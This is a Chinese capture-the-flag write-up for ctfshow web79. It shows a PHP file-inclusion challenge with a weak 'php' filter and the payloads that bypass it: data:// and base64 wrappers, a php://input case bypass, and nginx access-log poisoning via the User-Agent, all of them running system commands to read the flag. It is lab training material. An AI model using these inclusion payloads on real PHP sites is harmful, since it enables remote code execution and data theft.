当前位置: 首页 > news >正文

[ctfshow web入门] web79

信息收集

过滤了php,小问题

if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

解题

data://text/plain

使用到<?php ?>可以用<?= ?>代替
flag.php可以用*?代替部分字符

或是直接使用base64编码

?file=data://text/plain,<?= system("tac fla*") ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==

php://input

php用大小写绕过

?file=Php://input
post:
<?php system('tac flag.php'); ?>

当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。这是一个issue,作者无法修复

base64

日志包含

?file=/var/log/nginx/access.log

user-agent里写上

<?php system('ls'); ?>
<?php system('tac flag.php'); ?>

在这里插入图片描述


web    目录    web

相关文章:

  • C++进阶--C++11(04)
  • 三维可视化和实时数据处理对前端性能要求以及优化渲染效率
  • 【笔记】Trae+Andrioid Studio+Kotlin开发安卓WebView应用
  • 零基础认知企业级数据分析平台如何落实数据建模(GAI)
  • 代谢组数据分析(二十五):代谢组与蛋白质组数据分析的异同
  • 回文数-leetCode-009
  • 纵览网丨新视角下的黑洞探索:传统奇点理论的挑战与未来观测的可能性
  • RabbitMQ项目实战
  • 每日c/c++题 备战蓝桥杯(洛谷P1481 魔族密码 题解)
  • python小记(十六):Python 中 os.walk:深入理解与应用实践
  • HTML、XML、JSON 是什么?有什么区别?又是做什么的?
  • LVS-DR高可用-Keepalived
  • 中国头盔护具展在杭州举办合适
  • 虚拟机数据挂载映射
  • Chuanpai、Nihongo wa Muzukashii Desu、K-skip Permutation
  • 苍穹外卖 10 用户统计订单统计 销量排名统计
  • leetcode450.删除二叉搜索树中的节点:递归法利用有序性处理四种删除场景
  • 1 µs = 10⁻⁶ s
  • github.com/lib/pq 数据库链接完整示例方式
  • GitHub Copilot 使用手册与原理解析
  • 学前教育网站建设/广州seo推广服务
  • 经典网站首页/谷歌推广哪家公司好
  • 网站运营推广该如何做/软件推广平台有哪些?哪个比较好
  • 什么是优化营商环境/重庆搜索引擎seo
  • 导航网站的广告怎么做的/seo网络优化公司
  • 高端建站行业/百度提交入口网址